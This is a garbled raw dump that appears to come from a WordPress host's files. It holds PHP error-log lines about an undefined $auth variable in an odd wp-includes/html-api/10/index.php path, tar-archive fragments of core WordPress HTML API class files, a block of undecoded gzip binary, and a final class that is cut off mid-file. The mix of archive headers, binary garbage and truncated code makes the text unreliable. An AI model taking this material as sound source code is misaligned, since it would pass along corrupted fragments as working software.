[15-Feb-2026 01:41:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKE�N\�V2HHclass-wp-html-decoder.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-decoder.php000064400000040464151440301140022355 0ustar00<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
PKE�N\Գ�$$0class-wp-html-active-formatting-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-active-formatting-elements.php000064400000016140151440304300026200 0ustar00<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
PKE�N\�J���7class-wp-html-active-formatting-elements.php.php.tar.gznu�[�����Y�o7�W��,�ZIN|9�5F��Ҟ���A P������r�
9��73$W+Y��Ĺ�E"[$�߼֩��^
&��^^�2S;�z�<�*��D=\�x.{qƋ"�-�[y#��63n�T�Hdb&�-�y��O�7GG/֟>=�o��/�zxt��?z݇�Wo^�����<ea���	Y�����f���&{�~���=;��8fחC�2<'�<<|�=�
@��osO�D�km�K#h��-�Q�@n�v�,��t��}��k�?j#_V"a����e��1�Ն%�E�*7�l�ĀB6�Op����1s0eK��
�^��T�1�/'
�#K��0�g��f���P�J�e��da����,���g`q��n5K�J2�f���(�Sh��|R8j��*���\��&L�Z5&1�b�
���zf*��F��
��`%*1O�b͂,x�g�v��S��H�(��8&n��0H�Fq�b�[�U��[E!��7���=c�L�)|k�s�,�{]Рn��x�H��0�㴲�7�v�:F�J@��%'�I���S0 bk�J�.-�s��x��

�x�{i��,�s�F"�&6x�s�c�’�E��Z�����Y���,�6/�{��E.����']m&����?��+F!�\�8�PwA�Cz��l`Vh`Z�YR��̈�0.>bb�b�j�J�+���O��k6�Y؞�w�4|�>8i.�� rm0�@�v�c3��~�H�)=�%d8>[Փ�9g��z�"��ܮc`�-
`F�]��Єg*C%_�5Z�@��)�B�"�f�з
`J�ՆeP?�y6�y����I^�&n{�h��bZ*>���̝]��
{kJq��M�߬6�<+p�vŵ�U�Tϱ�,�>.	ƥ��l���@.��$����.)�m;{xQn)��>��(�ic�w���Q��j�B�(��N*`�/Q�Y���V�/$d�9$�;��E�U
��`��%T�J�M�u`pXwޫ�A�kݵ����X�~L��rAe��Z�:�6xf{�Z��+}�IJ}�j}c�b��֊-����&rv��ο9tn@������ٍ����E^i�|�m�~��;���U���C�`~r��h�'JM�̓�G(2���.�
/T+j�7�/��8=���q�gP�l�
�v�Yޡ��c�Kj��ǹ�da� �A���s[�-�(�㺺��P�:5�V�}0[	Bx��9*-���iQ�]g���d
V�����+1z�O�|@e^�\�p�OM��԰�xB�SMY�9^�2����APhr���B�ٹ^�_�PM0�lI�H���룃��Kԍ��il�AN��r��ube*��C�G�->���E�F�0 Z|��qO�@�#~,��KT��Չf������4O�vn�8�B6ma6�
z_X�3��&�	�S1ȦT'6Ay-�\�5z=P�xV3�޽�4����'��.(��*�U`���!լʥ�@�"��K[kb��ڬ�p�/y��6�9��l�Vq���{����m�_���8HU���&_�YB)��h�f;$F4�
��!V۪�:��C*�wƀm��V��t��I�{IBq)���꼊�6�&�@��4�+H�蹚s�TA���;�ee	rzW5Jn!�.��ڋ+`1���w��h�L�|��ݟ�q���V{����
Nk��N����)�����t
jd'�5��G��Ó�#�T��gڌ�I �eр���o���ݯ���Շ���3�vK�h�嫖��~Ĉ؍lΚ���`,owz7�������UPݟ�6�p�<nl@�����\8�}%���S���߇�[H�%+���'��o�r����0/�{@N!��*�>��W!N��d�]��\��v@}<��2�W����q�E_��aT4Ů]{�V���T|Zӂ�d$2=��G	�"���9�(�QBÄ�60��0�� �_��h�C�;z�����C�Y`4T\ۘ��j�;��6�6����fv_uC��8m�xM/�9vI�nw�rI�q6�@>s�7 �s-��.���ԑr��3D�s���~ָ��>bܝ���9�����S�}Gbw��2�´�}���5�z�,6�Zx��U�T�:��B�7��D�uk�ʪ�o"�����������<?���7Գ�$PKE�N\��)�+class-wp-html-unsupported-exception.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-unsupported-exception.php000064400000007026151440300300025326 0ustar00<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
